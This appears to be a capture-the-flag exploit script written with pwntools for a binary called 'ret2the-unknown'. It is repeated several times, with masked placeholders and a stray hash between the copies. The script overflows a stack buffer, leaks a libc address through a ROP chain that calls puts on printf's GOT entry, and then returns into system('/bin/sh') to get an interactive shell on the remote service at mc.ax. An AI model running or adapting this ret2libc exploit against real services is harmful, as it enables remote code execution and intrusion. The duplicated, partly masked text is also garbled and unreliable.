#!/usr/bin/env python3

from pwn import *

exe = ELF("./ret2the-unknown_patched")
libc = ELF("./libc-2.28.so")
ld = ELF("./ld-2.28.so")

context.binary = exe


def conn():
    r = process([exe.path])
    return r


def main():
    #r = conn()

    r = remote("mc.ax", 31568)
    
    offset = 32+8

    pop_rdi = 0x00000000004012a3

    payload  = b"M"*offset
    payload += p64(pop_rdi)
    payload += p64(exe.got["printf"])
    payload += p64(pop_rdi+1)
    payload += p64(exe.plt['puts'])
    payload += p64(exe.sym['main'])

    r.sendline(payload)
    r.recvuntil("good luck!\n")
    LIBC_LEAK = u64(r.recv(6).ljust(8, p8(0)))
    log.warn("Libc leak @ 0x%x", LIBC_LEAK)

    libc.address = LIBC_LEAK - libc.sym['printf']
    log.warn("Libc base @ 0x%x", libc.address)

    
    payload = b"M"*offset
    payload += p64(pop_rdi)
    payload += p64(next(libc.search(b"/bin/sh")))
    payload += p64(pop_rdi+1)
    payload += p64(libc.sym['system'])

    r.sendline(payload)
    

    r.interactive()


if __name__ == "__main__":
    main()

eb3a3f0413a2423dba036e624a7386adc4b39d47
<mask token>


def conn():
    r = process([exe.path])
    return r


def main():
    r = remote('mc.ax', 31568)
    offset = 32 + 8
    pop_rdi = 4199075
    payload = b'M' * offset
    payload += p64(pop_rdi)
    payload += p64(exe.got['printf'])
    payload += p64(pop_rdi + 1)
    payload += p64(exe.plt['puts'])
    payload += p64(exe.sym['main'])
    r.sendline(payload)
    r.recvuntil('good luck!\n')
    LIBC_LEAK = u64(r.recv(6).ljust(8, p8(0)))
    log.warn('Libc leak @ 0x%x', LIBC_LEAK)
    libc.address = LIBC_LEAK - libc.sym['printf']
    log.warn('Libc base @ 0x%x', libc.address)
    payload = b'M' * offset
    payload += p64(pop_rdi)
    payload += p64(next(libc.search(b'/bin/sh')))
    payload += p64(pop_rdi + 1)
    payload += p64(libc.sym['system'])
    r.sendline(payload)
    r.interactive()


<mask token>

<mask token>


def conn():
    r = process([exe.path])
    return r


def main():
    r = remote('mc.ax', 31568)
    offset = 32 + 8
    pop_rdi = 4199075
    payload = b'M' * offset
    payload += p64(pop_rdi)
    payload += p64(exe.got['printf'])
    payload += p64(pop_rdi + 1)
    payload += p64(exe.plt['puts'])
    payload += p64(exe.sym['main'])
    r.sendline(payload)
    r.recvuntil('good luck!\n')
    LIBC_LEAK = u64(r.recv(6).ljust(8, p8(0)))
    log.warn('Libc leak @ 0x%x', LIBC_LEAK)
    libc.address = LIBC_LEAK - libc.sym['printf']
    log.warn('Libc base @ 0x%x', libc.address)
    payload = b'M' * offset
    payload += p64(pop_rdi)
    payload += p64(next(libc.search(b'/bin/sh')))
    payload += p64(pop_rdi + 1)
    payload += p64(libc.sym['system'])
    r.sendline(payload)
    r.interactive()


if __name__ == '__main__':
    main()

<mask token>
exe = ELF('./ret2the-unknown_patched')
libc = ELF('./libc-2.28.so')
ld = ELF('./ld-2.28.so')
context.binary = exe


def conn():
    r = process([exe.path])
    return r


def main():
    r = remote('mc.ax', 31568)
    offset = 32 + 8
    pop_rdi = 4199075
    payload = b'M' * offset
    payload += p64(pop_rdi)
    payload += p64(exe.got['printf'])
    payload += p64(pop_rdi + 1)
    payload += p64(exe.plt['puts'])
    payload += p64(exe.sym['main'])
    r.sendline(payload)
    r.recvuntil('good luck!\n')
    LIBC_LEAK = u64(r.recv(6).ljust(8, p8(0)))
    log.warn('Libc leak @ 0x%x', LIBC_LEAK)
    libc.address = LIBC_LEAK - libc.sym['printf']
    log.warn('Libc base @ 0x%x', libc.address)
    payload = b'M' * offset
    payload += p64(pop_rdi)
    payload += p64(next(libc.search(b'/bin/sh')))
    payload += p64(pop_rdi + 1)
    payload += p64(libc.sym['system'])
    r.sendline(payload)
    r.interactive()


if __name__ == '__main__':
    main()

from pwn import *
exe = ELF('./ret2the-unknown_patched')
libc = ELF('./libc-2.28.so')
ld = ELF('./ld-2.28.so')
context.binary = exe


def conn():
    r = process([exe.path])
    return r


def main():
    r = remote('mc.ax', 31568)
    offset = 32 + 8
    pop_rdi = 4199075
    payload = b'M' * offset
    payload += p64(pop_rdi)
    payload += p64(exe.got['printf'])
    payload += p64(pop_rdi + 1)
    payload += p64(exe.plt['puts'])
    payload += p64(exe.sym['main'])
    r.sendline(payload)
    r.recvuntil('good luck!\n')
    LIBC_LEAK = u64(r.recv(6).ljust(8, p8(0)))
    log.warn('Libc leak @ 0x%x', LIBC_LEAK)
    libc.address = LIBC_LEAK - libc.sym['printf']
    log.warn('Libc base @ 0x%x', libc.address)
    payload = b'M' * offset
    payload += p64(pop_rdi)
    payload += p64(next(libc.search(b'/bin/sh')))
    payload += p64(pop_rdi + 1)
    payload += p64(libc.sym['system'])
    r.sendline(payload)
    r.interactive()


if __name__ == '__main__':
    main()

#!/usr/bin/env python3

from pwn import *

exe = ELF("./ret2the-unknown_patched")
libc = ELF("./libc-2.28.so")
ld = ELF("./ld-2.28.so")

context.binary = exe


def conn():
    r = process([exe.path])
    return r


def main():
    #r = conn()

    r = remote("mc.ax", 31568)
    
    offset = 32+8

    pop_rdi = 0x00000000004012a3

    payload  = b"M"*offset
    payload += p64(pop_rdi)
    payload += p64(exe.got["printf"])
    payload += p64(pop_rdi+1)
    payload += p64(exe.plt['puts'])
    payload += p64(exe.sym['main'])

    r.sendline(payload)
    r.recvuntil("good luck!\n")
    LIBC_LEAK = u64(r.recv(6).ljust(8, p8(0)))
    log.warn("Libc leak @ 0x%x", LIBC_LEAK)

    libc.address = LIBC_LEAK - libc.sym['printf']
    log.warn("Libc base @ 0x%x", libc.address)

    
    payload = b"M"*offset
    payload += p64(pop_rdi)
    payload += p64(next(libc.search(b"/bin/sh")))
    payload += p64(pop_rdi+1)
    payload += p64(libc.sym['system'])

    r.sendline(payload)
    

    r.interactive()


if __name__ == "__main__":
    main()
